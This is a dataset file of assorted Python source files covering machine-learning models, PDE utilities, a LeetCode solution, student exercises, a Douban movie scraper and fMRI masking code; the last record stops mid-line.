+{"seq_id":"575326719","text":"import torch \nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\nfrom torchvision.transforms import transforms\nimport torchvision.datasets as datasets\n\ntraining_data = datasets.MNIST(root='data', train=True, transform=transforms.ToTensor(), download=True)\n\ntesting_data = datasets.MNIST(root='data', train=False, transform=transforms.ToTensor())\n\n# The dataset size has 60,000 handwritten images, each image being a 28x28px image\nprint(training_data.train_data.size())\n\n# There are 10,000 test data images, each image being a 28x28 image\nprint(testing_data.test_data.size())\n\n# Differences in batch size can skew the accuracy of the machine learning model\nbatch_size = 10\n\n # Batch size is how may images you train at once \ntrain_loader = torch.utils.data.DataLoader(training_data, batch_size=batch_size, shuffle=True)\n\ntest_loader = torch.utils.data.DataLoader(testing_data, batch_size=batch_size, shuffle=False)\n\nclass CNNModel(nn.Module):\n    def __init__(self):\n        super(CNNModel, self).__init__()\n        \n        # Convolution number 1\n        # with the first layer, we take 1 input (the image) and produce 10 feature maps from it using a 5x5 kernel\n        # stride=1 means that it will go through EACH pixel in the image\n        # relu = Rectified Linear Unit - it is an activation function\n        self.ConvLayer1 = nn.Conv2d(in_channels=1, out_channels=16, kernel_size=5)\n        self.relu = nn.ReLU()\n        self.maxpool1 = nn.MaxPool2d(kernel_size=2)\n        \n        self.ConvLayer2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=5)\n        self.relu2 = nn.ReLU()\n        self.maxpool2 = nn.MaxPool2d(kernel_size=2)\n        \n        # We put 10 because there are ten classes (numbers from 0-9)\n        self.fullyConnected1 = nn.Linear(512, 10)\n        \n    def forward(self, x):\n        \n        output = self.maxpool1(self.relu(self.ConvLayer1(x)))\n        output = self.maxpool2(self.relu(self.ConvLayer2(output)))\n#        output = self.ConvLayer1(x)\n#        output = self.relu(output)        \n#        output = self.maxpool1(output)\n        \n#        output = self.ConvLayer2(output)\n#        output = self.relu2(output)        \n#        output = self.maxpool2(output)\n        \n        # Now, we have to flatten the image before we pass it into the fully connected layer\n        output = output.view(output.size(0), -1)\n        \n        # Apply the linear layer to the flattened image\n        output = self.fullyConnected1(output)\n        \n        # F.log_softmax converts the output into a readable number\n        return F.log_softmax(output)\n\n# We have to create an instance of our class\nmodel = CNNModel()\n\n#CrossEntropyLoss is for classificationf\ncriterion = nn.CrossEntropyLoss()\n# Our model parameters are the channels we have (ex. 16, 32, etc.). We wabt to optimize those to minimize loss\noptimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.5)\n\niteration = 0\n# training our data\ndef train(epoch):\n    # important to call the .train() function in our training function\n    model.train()\n    for index,(images,labels) in enumerate(train_loader):\n        images, labels = Variable(images), Variable(labels)\n        \n        # we do not want to accumulate the gradients\n        optimizer.zero_grad()\n        \n        output = model(images)\n        \n        # calling the negative loss function\n        loss = criterion(output, labels)\n        loss.backward()\n        \n        optimizer.step()\n        \n        if index % 10 == 0:\n            print('Train epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(epoch, index * len(images), \n                                                                           len(train_loader.dataset), \n                                                                           100 * index / len(train_loader), \n                                                                           loss.data))\n            \ndef test():\n    model.eval()\n    test_loss = 0\n    correct = 0\n    \n    for data, target in test_loader:\n        # We wrap this in a variable so we can make predictions on this dataset\n        data, target = Variable(data, volatile=True), Variable(target)\n        \n        output = model(data)\n        \n        test_loss += F.nll_loss(output, target, size_average=False).data\n        # this function takes the maximum output of the data (ex. if the number 7 was rated 90% as opposed to 30% like\n        # the other numbers), and classifies it as so\n        prediction = output.data.max(1, keepdim=True)[1]\n        # The correct is determined if the prediction is equal to the index\n        correct += prediction.eq(target.data.view_as(prediction)).cpu().sum()\n        \n    test_loss /= len(test_loader.dataset)\n    \n    print('\\nTest Set: Average loss: {:.4f}, Accuracy:{}/{} ({:.0f}%)\\n'.format(test_loss, correct,\n                                                                                len(test_loader.dataset),\n                                                                                100 * correct / len(test_loader.dataset)))\n    \nfor epoch in range (1,4):\n    train(epoch)\n    test()","sub_path":"first_CNN.py","file_name":"first_CNN.py","file_ext":"py","file_size_in_byte":5165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"385516139","text":"from array import array\r\nimport math\r\n\r\nnumbers = array('f', [52.45, 48.15, 74.69, 46.36, 48.12])\r\nprint(numbers)\r\n\r\ncheck = False\r\n\r\nwhile check == False:\r\n    num = int(input(\"Enter a whole number between 2 and 5: \"))\r\n    if 2 < num < 5:\r\n        for i in numbers:\r\n            print(round(i / num, 2))\r\n        check = True\r\n    else:\r\n        print(\"Off limits, try again.\")","sub_path":"11_Numeric_Arrays/Problema_095.py","file_name":"Problema_095.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"81869467","text":"#pylint: disable=invalid-name\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch as pt\n\nfrom pytorch_future import hessian\n\n\ndevice = pt.device('cpu')\n\n\ndef get_X_process(problem, K, delta_t, seed=42, x=None, t=0):\n    '''\n    :param problem: problem object that specifies the PDE problem\n    :param K: batch size, i.e. number of samples\n    :param delta_t: step size\n    :param seed: seed for the random number generator\n    :sigma: specifies whether the diffusion coefficient is constant or can depend on x.\n            In the former case sigma is d x d, in the latter case it is K x d x d.\n    '''\n\n    np.random.seed(seed)\n\n    N = int(np.ceil((problem.T - t) / delta_t))\n    sq_delta_t = np.sqrt(delta_t)\n\n    X = np.zeros([N + 1, K, problem.d])\n    if x is None:\n        X[0, :, :] = np.repeat(problem.X_0[np.newaxis, :], K, axis=0)\n    else:\n        X[0, :, :] = np.repeat(x[np.newaxis, :], K, axis=0)\n    xi = np.random.randn(N + 1, K, problem.d)\n\n    if problem.sigma_modus == 'constant':\n        for n in range(N):\n            X[n + 1, :, :] = (X[n, :, :] + problem.b(X[n, :, :]) * delta_t\n                              + problem.sigma(X[n, :, :]).dot(xi[n + 1, :, :].T).T * sq_delta_t)\n    else:\n#         problem.modus == 'pytorch'\n#         for n in range(N):\n#            X[n + 1, :, :] = (X[n, :, :] + problem.b(X[n, :, :]) * delta_t\n#                               + pt.bmm(pt.tensor(problem.sigma(X[n, :, :])), pt.tensor(xi[n + 1, :, :]).unsqueeze(2)).squeeze(2) * sq_delta_t)\n        for n in range(N):\n            X[n + 1, :, :] = (X[n, :, :] + problem.b(X[n, :, :]) * delta_t\n                              + np.einsum('ijl,il->ij', problem.sigma(X[n, :, :]), xi[n + 1, :, :]) * sq_delta_t)\n            # print('noise', np.einsum('ijl,il->ij', problem.sigma(X[n, :, :]), xi[n + 1, :, :]) * sq_delta_t)\n            # print('noise parts:', problem.sigma(X[n, :, :]), 'xi',  xi[n + 1, :, :], 'sq_delta_t', sq_delta_t)\n\n    return X, xi\n\n\ndef compute_PDE_loss(problem, delta_t=0.01, K=1000, Y_n=None, vfun=None, testOde=None, seed=44, print_every=None):\n\n    N = int(np.ceil(problem.T / delta_t))\n\n    problem_modus_temp = problem.modus\n    problem.modus = 'numpy'\n\n    X, xi = get_X_process(problem, K, delta_t, seed)\n\n    problem.modus = problem_modus_temp\n\n    if problem.modus == 'pt':\n        X = pt.autograd.Variable(pt.tensor(X).float(), requires_grad=True).to(device)\n    else:\n        X = X.transpose((2, 1, 0))\n\n    avg_loss = []\n\n    for n in range(N):\n\n        t_n = n * delta_t\n\n        if problem.modus == 'pt':\n            X_n = X[n, :, :]\n        else:\n            X_n = X[:, :, n]\n\n        if problem.modus == 'pt':\n\n            v_of_x = Y_n[n](X_n) # K x 1\n\n            Y_eval = v_of_x.squeeze().sum()\n            Y_eval.backward(retain_graph=True)\n            v_x, = pt.autograd.grad(Y_eval, X_n, create_graph=True) # K x d\n            v_t = (Y_n[n + 1](X_n) - v_of_x) / delta_t\n\n            v_xx = pt.zeros(K, problem.d, problem.d)\n            for i, x in enumerate(X_n):\n                v_xx[i, :, :] = hessian(Y_n[n], x.unsqueeze(0), create_graph=True).squeeze()\n\n            v_of_x = v_of_x.squeeze().detach().cpu().numpy()\n            v_x = v_x.detach().cpu().numpy()\n            v_t = v_t.detach().squeeze().cpu().numpy()\n            v_xx = v_xx.detach().cpu().numpy()\n            X_n = X_n.detach().cpu().numpy()\n\n        else:\n            v_of_x = vfun.eval_V(t_n, X_n).T\n            if n < len(vfun.t_vec_p) - 1:\n                v_t = (vfun.eval_V(vfun.t_vec_p[n + 1], X_n).T - v_of_x) / delta_t\n            else:\n                v_t = (testOde.calc_end_reward(X_n).T - v_of_x) / tau # testOde.calc_end_reward ist aequivalent zu\n            v_x = vfun.calc_grad(t_n, X_n).T\n            v_xx = vfun.calc_hessian(t_n, X_n).transpose((2, 0, 1))\n            X_n = X_n.T\n\n\n        problem.modus = 'np'\n\n        loss = problem.pde_loss(t_n, X_n, v_of_x, v_t, v_x, v_xx)\n        avg_loss.append(np.mean((loss)**2))\n\n        problem.modus = problem_modus_temp\n\n        if print_every is not None:\n            if n % print_every == 0:\n                print(n)\n\n    return avg_loss\n\n\ndef plot_NN_evaluation(model, n, n_start=0, reference_solution=True, Y_0_true=None):\n    \n    model.problem.modus = 'np'\n    X, xi = get_X_process(model.problem, model.K, model.delta_t, seed=44)\n    model.problem.modus = 'pt'\n    X = pt.tensor(X).float().to(device)\n\n    if Y_0_true is None and reference_solution:\n        Y_0_true = model.problem.v_true(model.problem.X_0[np.newaxis, :], 0)\n        ref_loss = np.mean([np.mean((model.Y_n[n](X[n, :, :]).squeeze().detach().cpu().numpy() \n                         - model.problem.v_true(X[n, :, :].detach().cpu().numpy(), n * model.delta_t))**2) for n in range(model.N + 1)])\n\n    Y_0_est = model.Y_n[0](pt.tensor(model.problem.X_0).to(device).float().unsqueeze(0)).detach().cpu().numpy()\n    print('d = %d' % model.problem.d)\n    print('Y_0 true:   %.5f' % Y_0_true)\n    print('Y_0 est:    %.5f' % Y_0_est)\n    print('rel error:  %.5f' % np.abs((Y_0_true - Y_0_est) / Y_0_true))\n    if Y_0_true is None:\n        print('ref loss:   %.5f' % ref_loss)\n    print('time:       %d' % int(np.round(np.sum(model.runtimes))))\n\n\n\n    fig, ax = plt.subplots(2, 3, figsize=(20, 10))\n\n    ax[0, 0].plot([item for sublist in model.loss_log for item in sublist])\n    ax[0, 0].set_yscale('log')\n    ax[0, 1].set_title('n = %d/%d' % (n, model.N))\n    ax[0, 1].plot(model.loss_log[model.N - n - 1])\n    ax[0, 1].set_yscale('log')\n\n    X_val = pt.linspace(1.1 * pt.min(X[n, :, 0]), 0.9 * pt.max(X[n, :, 0]), 500).unsqueeze(1).repeat(1, model.problem.d).to(device)\n    ax[1, 0].set_title('n = %d/%d' % (n, model.N))\n    ax[1, 0].plot(X_val.cpu().numpy()[:, 0], model.Y_n[n](X_val).detach().cpu().numpy())\n    if reference_solution:\n        ax[1, 0].plot(X_val.cpu().numpy()[:, 0], model.problem.v_true(X_val.cpu().numpy(), n * model.delta_t).squeeze())\n\n    ax[1, 1].scatter(pt.sum(X[n, :, :]**2, 1).detach().cpu().numpy(), model.Y_n[n](X[n, :, :]).detach().cpu().numpy(), s=0.5)\n    if reference_solution:\n        ax[1, 1].scatter(pt.sum(X[n, :, :]**2, 1).detach().cpu().numpy(), model.problem.v_true(X[n, :, :].detach().cpu().numpy(), n * model.delta_t).squeeze(), s=0.5);\n\n    x = pt.tensor(model.problem.X_0).unsqueeze(0).float().to(device)\n    t_val = np.linspace(0, model.problem.T, model.N + 1)\n    ax[1, 2].set_title('x = %.2f' % x[0, 0])\n    ax[1, 2].plot(t_val[n_start:], [y_n(x).item() for y_n in model.Y_n[n_start:]])\n    if reference_solution:\n        ax[1, 2].plot(t_val[n_start:], [model.problem.v_true(x.cpu().numpy(), t) for t in t_val[n_start:]])\n\n    return fig\n","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":6642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"541114277","text":"import os\nimport sys\nfrom PIL import Image\nimport numpy as np\nWIDTH = 128\nHEIGHT = 128\nSIZE = (WIDTH, HEIGHT)\n\ninput_folder = \"./data\"\noutput_folder = \"./prepared_data\"\n\nif not os.path.exists(output_folder):\n    os.mkdir(output_folder)\n\nfor dirname, dirnames, filenames in os.walk(input_folder):\n    for num, filename in enumerate(filenames):\n        img = Image.open(os.path.join(dirname, filename)\n                         ).convert(\"RGB\").resize(SIZE)\n        img.save(output_folder+\"/\"+filename)\nprint(\"Done!\")\n","sub_path":"prepdata.py","file_name":"prepdata.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"175348314","text":"#########################################################\r\n# exercicio 1\r\n\r\ndef media(nota1, nota2):\r\n    media = (nota1+nota2)/2\r\n    return (round(media,2))\r\n\r\n#mediaFilme = media(nota1,nota2)   \r\n#print(mediaFilme)\r\n#precisa printar?\r\n\r\n#########################################################\r\n# exercicio 2\r\n\r\ndef lerArquivoSeries():\r\n    abrirSeries = open('series.csv','r')\r\n    aS = abrirSeries.readlines()\r\n    for lines in aS:\r\n        listaLinha = lines.split(',')\r\n        line = ','.join(listaLinha)\r\n        print(line)\r\n    abrirSeries.close()\r\n    return ()\r\n\r\ndef lerArquivoNovo():\r\n    abrirNovas = open('series_novas.csv','r')\r\n    aN = abrirNovas.readlines()\r\n    for linhas in aN:\r\n        listaLinhas = linhas.split(',')\r\n        linha = ','.join(listaLinhas)\r\n        print(linha)\r\n        abrirNovas.close()\r\n    return ()\r\n\r\n#OU\r\n\r\nabrirSeries = open('series.csv','r')\r\nabrirNovas = open('series_novas.csv','r')\r\naS = abrirSeries.readlines()\r\naN = abrirNovas.readlines()\r\nfor lines in aS:\r\n    listaLinha = lines.split(',')\r\n    line = ','.join(listaLinha)\r\nfor linhas in aN:\r\n    listaLinhas = linhas.split(',')\r\n    linha = ','.join(listaLinhas)\r\nabrirSeries.close()\r\nabrirNovas.close()\r\n\r\n\r\n#########################################################\r\n# exercicio 3\r\ndef resumoDiretoria():\r\n    abrirArquivoS = open('series.csv','r')\r\n    lerLinhas = abrirArquivoS.readlines()\r\n    for linhas in lerLinhas:\r\n        arrayLinhas = linhas.split(',')\r\n        if arrayLinhas[0] == 'Black Mirror':\r\n            dicio = {'Temporada':arrayLinhas[1],'Episodio':arrayLinhas[2]}\r\n            print(dicio)\r\n    abrirArquivoS.close()                   # Considera alguma coisa do meu raciocinio?? :D\r\n    return\r\n#########################################################\r\n# exercicio 4\r\n\r\nresumoDiretoria()\r\n","sub_path":"Prova P2 - MA1A/exercicios.py","file_name":"exercicios.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"538237043","text":"# https://www.notion.so/1178-93d7d87acbf34ca6b88a0cefd0b4c2da\n# 1178 猜字谜\n\n# 开始计算这个puzzle有多少可行的word\n# 因为puzzle的首字母一定要有，所以我们把首字母拿出来，最后再处理\n# 此处举例 puzzle = \"abslute\"\n# 那么我们需要做的就是 枚举 “bslute” 所有可能的组合（长度1-6都要枚举，每次枚举的结果都要加上首字母“a”）\n# 难点就是枚举的 长度 任意，选择的位置也任意，比如加上首字母后 {“a”,\"b\"}、{\"a\"}、{\"a\",\"u\",\"l\",\"s\"}都是合法结果\n# 那么这个 choose 变量就是做这个事情的\n# choose利用二进制的性质，起到了一个“选择”的作用，choose二进制从右向左数，如果这一位为 1，侧表示要从“bslute”选出这一位\n# choose就是一个选择过滤窗\n# “bslute” index是从左向右，而二进制表示的 mask和 choose 都是从右向左数的\n# 举例\n# for choose in range(1 << 6)\n# choose 从 0 开始 到（不包含64）结束\n# choose = 0时：\n# choose从右向左的位次（从右向左）    6543210\n# choose的二进制表示             0b0000000\n# 如果choose的第i位（从右向左数<--）为1，表示选择 出来 “bslute”的第i位（从左向右数-->）\n# 下面开始遍历 “bslute”\n\n# 以下代码的含义解释为：\n#                 for i in range(6):\n#                     if choose & (1 << i):\n# i代表了“bslute”  从左向右 数第i位\n# i同时代表了choose 从右向左 数第i位\n# if choose & (1 << i) 表示 如果当前choose位为1\n# 每一次新的choose（新的组合），都通过遍历“bslute”把相对应的位选出来\n# 因为二进制巧妙的性质，choose从0到63就是从这6位中 依次选出 所有的组合\n# 举例\n# choose = 0时：\n# choose从右向左的位次（从右向左）     543210\n# choose的二进制表示             0b0000000\n# “bslute”的组合选择情况            ------\n# “bslute”的对应 index            543210 (从右向左)\n# “bslute”对应的位置               etulsb\n# 结果：全不选，因为choose全是0\n# 加上首字母“a”的人类便于理解结果含义 {“a”}(我们没有在代码里面实际做这个东西)\n# mask按照构造 word 的 mask 的相同想法去构造，结果就是 key = 1（含义 key = {“a”}）\n\n# choose = 1时：\n# choose从右向左的位次（从右向左）     543210\n# choose的二进制表示             0b0000001\n# “bslute”的组合选择情况            -----b\n# “bslute”的对应 index            543210 (从右向左)\n# “bslute”对应的位置               etulsb\n# 结果：选\"b\"，因为choose对应位是1\n# 加上首字母“a”的人类便于理解结果含义 {“a”,\"b\"}(我们没有在代码里面实际做这个东西)\n# mask按照构造 word 的 mask 的相同想法去构造，结果就是 key = 3 = 0b11（含义 key = {“a”,\"b\"}）\n\n# 过了几轮.......\n\n# choose = 6时：\n# choose从右向左的位次（从右向左）     543210\n# choose的二进制表示             0b0000110\n# “bslute”的组合选择情况            ---ls-\n# “bslute”的对应 index            543210 (从右向左)\n# “bslute”对应的位置               etulsb\n# 结果：选\"l\"和“s”，因为choose对应位是1\n# 加上首字母“a”的人类便于理解结果含义 {“a”,\"l\",\"s\"}(我们没有在代码里面实际做这个东西)\n# mask按照构造 word 的 mask 的相同想法去构造，结果就是 key = 264193 （含义 key = {“a”,\"l\",\"s\"}）\n\n# 又过了好多轮\n\n# 最后一轮\n# choose = 63时：\n# choose从右向左的位次（从右向左）     543210\n# choose的二进制表示             0b0111111\n# “bslute”的组合选择情况            etulsb\n# “bslute”的对应 index            543210 (从右向左)\n# “bslute”对应的位置               etulsb\n# 结果：全选，因为choose全是1\n# 加上首字母“a”的人类便于理解结果含义 {“a”,“b“,\"s\",\"l\",\"u\",\"t\",\"e”}(我们没有在代码里面实际做这个东西)\n# mask按照构造 word 的 mask 的相同想法去构造，结果就是 key = 1837075 （含义 key = {“a”,“b“,\"s\",\"l\",\"u\",\"t\",\"e”}）\nimport collections\nfrom typing import List\n\n\nclass Solution:\n    @staticmethod\n    def findNumOfValidWords(words: List[str], puzzles: List[str]) -> List[int]:\n        frequency = collections.Counter()\n        for word in words:\n            mask = 0\n            for ch in word:\n                mask |= 1 << (ord(ch) - ord(\"a\"))\n            if str(bin(mask)).count(\"1\") <= 7:\n                frequency[mask] += 1\n\n        ans = list()\n        for puzzle in puzzles:\n            total = 0\n\n            # 枚举子集方法一\n            # for choose in range(1 << 6):\n            #     mask = 0\n            #     for i in range(6):\n            #         if choose & (1 << i):\n            #             mask |= (1 << (ord(puzzle[i + 1]) - ord(\"a\")))\n            #     mask |= (1 << (ord(puzzle[0]) - ord(\"a\")))\n            #     if mask in frequency:\n            #         total += frequency[mask]\n\n            # 枚举子集方法二\n            mask = 0\n            for i in range(1, 7):\n                mask |= 1 << (ord(puzzle[i]) - ord(\"a\"))\n\n            subset = mask\n            while subset:\n                s = subset | (1 << (ord(puzzle[0]) - ord(\"a\")))\n                if s in frequency:\n                    total += frequency[s]\n                subset = (subset - 1) & mask\n\n            # 在枚举子集的过程中，要么会漏掉全集 mask，要么会漏掉空集\n            # 这里会漏掉空集，因此需要额外判断空集\n            if (1 << (ord(puzzle[0]) - ord(\"a\"))) in frequency:\n                total += frequency[1 << (ord(puzzle[0]) - ord(\"a\"))]\n            ans.append(total)\n        return ans\n","sub_path":"Hard/findNumOfvalidWords.py","file_name":"findNumOfvalidWords.py","file_ext":"py","file_size_in_byte":5846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"108532287","text":"# -*- coding: utf-8 -*-\n# Author  : tom_tao626@163.com >\n# Datetime : 2019/9/8 19:45\n# User   : Administrator\n# Product  : PyCharm\n# Project  : chatroom_project\n# File   : views_index.py\n\nimport tornado.web\n\nclass IndexHandler(tornado.web.RequestHandler):\n    # 定义一个get请求的方法\n    def get(self, *args, **kwargs):\n        # self.write(\"<h1>这是一个弹幕视频+在线聊天的项目!</h1>\")\n        data = dict(\n            title=\"视频列表\"\n        )\n        self.render(\"index.html\", data=data)","sub_path":"py_tools/subprocess/async_demo/test[copy]/views_index.py","file_name":"views_index.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"241228936","text":"import torch\nfrom torch import nn\nimport numpy as np\n\n\nclass FullyConnectedJastrow(torch.nn.Module):\n\n    def __init__(self):\n        \"\"\"Defines a fully connected jastrow factors.\"\"\"\n\n        super(FullyConnectedJastrow, self).__init__()\n\n        self.cusp_weights = None\n\n        self.fc1 = nn.Linear(1, 16, bias=False)\n        self.fc2 = nn.Linear(16, 8, bias=False)\n        self.fc3 = nn.Linear(8, 1, bias=False)\n\n        self.nl_func = torch.nn.Sigmoid()\n        # self.nl_func = lambda x:  x\n\n        self.prefac = torch.rand(1)\n\n    @staticmethod\n    def get_cusp_weights(npairs):\n        \"\"\"Computes the cusp bias\n\n        Args:\n            npairs (int): number of elec pairs\n        \"\"\"\n        nelec = int(0.5 * (-1 + np.sqrt(1+8*npairs)))\n        weights = torch.zeros(npairs)\n\n        spin = torch.ones(nelec)\n        spin[:int(nelec/2)] = -1\n        ip = 0\n        for i1 in range(nelec):\n            for i2 in range(i1, nelec):\n                if spin[i1] == spin[i2]:\n                    weights[ip] = 0.25\n                else:\n                    weights[ip] = 0.5\n                ip += 1\n        return weights\n\n    def _forward(self, x):\n\n        nbatch, npairs = x.shape\n        x = x.reshape(-1, 1)\n        x = self.prefac * self.nl_func(x*x)\n\n        return x.reshape(nbatch, npairs)\n\n    def forward(self, x):\n        \"\"\"Compute the values of the individual f_ij=f(r_ij)\n\n        Args:\n            x (torch.tensor): e-e distance Nbatch, Nele_pairs\n\n        Returns:\n            torch.tensor: values of the f_ij\n        \"\"\"\n        nbatch, npairs = x.shape\n\n        if self.cusp_weights is None:\n            self.cusp_weights = self.get_cusp_weights(npairs)\n\n        # reshape the input so that all elements are considered\n        # independently of each other\n        x = x.reshape(-1, 1)\n\n        x = self.fc1(x)\n        x = self.fc2(x)\n        x = self.fc3(x)\n        x = self.nl_func(x)\n\n        # reshape to the original shape\n        x = x.reshape(nbatch, npairs)\n\n        # add the cusp weight\n        x = x + self.cusp_weights\n\n        return x\n","sub_path":"tests/jastrow_network.py","file_name":"jastrow_network.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"303139864","text":"# coding=utf-8\n# author=XingLong Pan\n# date=2016-11-07\n\nimport random\nimport requests\nimport configparser\nimport constants\nimport json\nfrom login import CookiesHelper\nfrom page_parser import MovieParser\nfrom utils import Utils\nfrom utils import ForbiddenError\nfrom storage import DbHelper\nimport logging\n\nlogging.basicConfig(filename='logger.log', level=logging.INFO)\n\n# 读取配置文件信息\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\n# 获取模拟登录后的cookies\ncookie_helper = CookiesHelper.CookiesHelper(\n    config['douban']['user'],\n    config['douban']['password']\n)\ncookies = cookie_helper.get_cookies()\nprint(cookies)\n\n# 实例化爬虫类和数据库连接工具类\nmovie_parser = MovieParser.MovieParser()\ndb_helper = DbHelper.DbHelper()\n\nUtils.Utils.mkdir(constants.RATIO_POSTER_PATH)\nUtils.Utils.mkdir(constants.DATA_PATH)\n\n# ii = 0\n# while True:\n#     r = requests.get(\n#         \"http://test.abuyun.com\",\n#\n#         proxies=constants.proxies\n#     )\n#     ii += 1\n#     print(str(r.status_code) + str(ii))\n#     Utils.Utils.delay(constants.DELAY_MIN_SECOND, constants.DELAY_MAX_SECOND)\n\nsearch_subject_url_prefix = \"https://movie.douban.com/j/new_search_subjects?sort=U&range=0,10&tags=&start=%s\"\nstart_value = 0\nwhile True:\n\n    log_name = constants.DATA_PATH + \"\\\\start_value.txt\"\n    log_file = open(log_name, 'w')\n    log_file.write(str(start_value))\n    log_file.close()\n\n    search_subject_url = search_subject_url_prefix % start_value\n    headers = {'User-Agent': random.choice(constants.USER_AGENT)}\n    try:\n        # 获取豆瓣页面(API)数据\n        r = requests.get(\n            search_subject_url,\n            headers=headers,\n            cookies=cookies,\n            # proxies=constants.proxies\n        )\n    except Exception:\n        logging.error(search_subject_url + \"403\")\n        Utils.Utils.delay(10, 15)\n        # print(\"403forbidden\")\n        continue\n\n    # if r.status_code == '403':\n    #     print(search_subject_url + \"403\")\n    #     logging.error(search_subject_url + \"403\")\n    #     raise ForbiddenError\n    #     break\n    r.encoding = 'utf-8'\n    search_subject_result = json.loads(r.text)\n    id_list = []\n    if not search_subject_result[\"data\"]:\n        print(search_subject_url + \"返回的数据为\" + search_subject_result)\n        logging.error(search_subject_url + \"返回的数据为\" + search_subject_result)\n        break\n\n    for subject in search_subject_result[\"data\"]:\n        print(subject[\"title\"] + subject[\"url\"])\n        logging.info(subject[\"title\"] + subject[\"url\"])\n        id_list.append(subject[\"id\"])\n\n    Utils.Utils.delay(constants.DELAY_MIN_SECOND, constants.DELAY_MAX_SECOND)\n    Utils.Utils.request_and_parse_movies(id_list, movie_parser, db_helper, cookies)\n\n    print(\"start value %s done\" % start_value)\n    start_value += 20\n\n    Utils.Utils.delay(constants.DELAY_MIN_SECOND, constants.DELAY_MAX_SECOND)\n\n    if start_value > 200000:\n        break\n\n# # 读取抓取配置\n# START_ID = int(config['common']['start_id'])\n# END_ID = int(config['common']['end_id'])\n#\n# # 通过ID进行遍历\n# for i in range(START_ID, END_ID):\n#\n#     headers = {'User-Agent': random.choice(constants.USER_AGENT)}\n#\n#     # 获取豆瓣页面(API)数据\n#     r = requests.get(\n#         constants.URL_PREFIX + str(i),\n#         headers=headers,\n#         cookies=cookies\n#     )\n#     r.encoding = 'utf-8'\n#\n#     # 提示当前到达的id(log)\n#     print('id: ' + str(i))\n#\n#     # 提取豆瓣数据\n#     movie_parser.set_html_doc(r.text)\n#     movie = movie_parser.extract_movie_info()\n#\n#     # 如果获取的数据为空，延时以减轻对目标服务器的压力,并跳过。\n#     if not movie:\n#         Utils.Utils.delay(constants.DELAY_MIN_SECOND, constants.DELAY_MAX_SECOND)\n#         continue\n#\n#     # 豆瓣数据有效，写入数据库\n#     movie['douban_id'] = str(i)\n#     if movie:\n#         db_helper.insert_movie(movie)\n#\n#     Utils.Utils.delay(constants.DELAY_MIN_SECOND, constants.DELAY_MAX_SECOND)\n\n# 释放资源\nmovie_parser = None\ndb_helper.close_db()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"540635814","text":"get_ipython().magic('matplotlib inline')\n\n\n# Extract the fMRI data on a mask and convert it to data series\n\n\nmask = '/Volumes/study4/midusref/midusref_imaging_public2/imaging_updated_2018-02-12/MIDUSREF_Imaging_Analysis/sub-MRID-30024/anat/sub-MRID-30024_T1w_1_brain_mask.nii.gz'\n\n\nanat = '/Volumes/study4/midusref/midusref_imaging_public2/imaging_updated_2018-02-12/MIDUSREF_Imaging_Analysis/sub-MRID-30024/anat/sub-MRID-30024_T1w_1.nii.gz'\n\n\nfunc = '/Volumes/study4/midusref/midusref_imaging_public2/imaging_updated_2018-02-12/MIDUSREF_Imaging_Analysis/sub-MRID-30024/func/sub-MRID-30024_task-emotion-regulation_run-3_bold_mod.nii.gz'\n\n\nfrom nilearn import plotting\n\n\nplotting.plot_roi(mask,bg_img=anat, cmap='Paired')\n\n\nfrom nilearn.input_data import NiftiMasker\n\n\nmasker = NiftiMasker(mask_img=mask, standardize=True)\n\n\n# Retrieve 2D Array data of fMRI time series\n\n\nfmri_masked = masker.fit_transform(func)\n\n\nfmri_masked.shape\n\n\nfmri_masked[:5]\n\n\nimport pandas as pd \nimport numpy as np\n\ndef label_IAPS_TR(columnName, valueName):\n\n\t\tindexList = df5.index[df5[columnName] == valueName].tolist()\n\t\tindexList1 = [i+1 for i in indexList]\n\t\tindexList2 = [i+2 for i in indexList]\n\t\tindexList3 = [i+3 for i in indexList]\n\t\tFullIndexList = indexList1 + indexList2 + indexList3 \n\t\tFullIndexList = sorted(FullIndexList)\n\t\tfor i in FullIndexList:\n\t\t\tdf5.loc[i, columnName] = valueName\n\ninfile = '/Volumes/study4/midusref/midusref_imaging_public2/imaging_updated_2018-02-12/sub-MRID-30024/func/sub-MRID-30024_task-emotion-regulation_run-2_events.tsv'\noutfile = '/Users/SB/Desktop/30024_run2_output.csv'\n\nwith open (outfile, 'wb') as output:\n\t# Read csv as pandas dataframe\n\tdf1 = pd.read_csv(infile, sep='\\t')\n\t# Extract Columns of interest\n\tdf2 = df1.iloc[:,[0,1,2,6,7,9]]\n\t# Round onset column to 0 decimal point, and cast integer\n\tdf2.loc[:,'onset'] = df2.loc[:,'onset'].round(0).astype(int)\n\n\t# Create a column with 1~227\n\t#df2.insert(0, 'time', range(1, 227))\n\t#df3 = df2.assign(time = pd.Series(np.arange(1, 227, 1)))\n\tdf3 = pd.DataFrame({'onset':np.arange(1, 455, 1)})\n\n\t# Combine data frames by column\n\tdf4 = pd.concat([df2, df3], ignore_index=True, axis=0)\n\t# Sort data frames based on two columns\n\tdf4 = df4.sort_values([\"onset\", 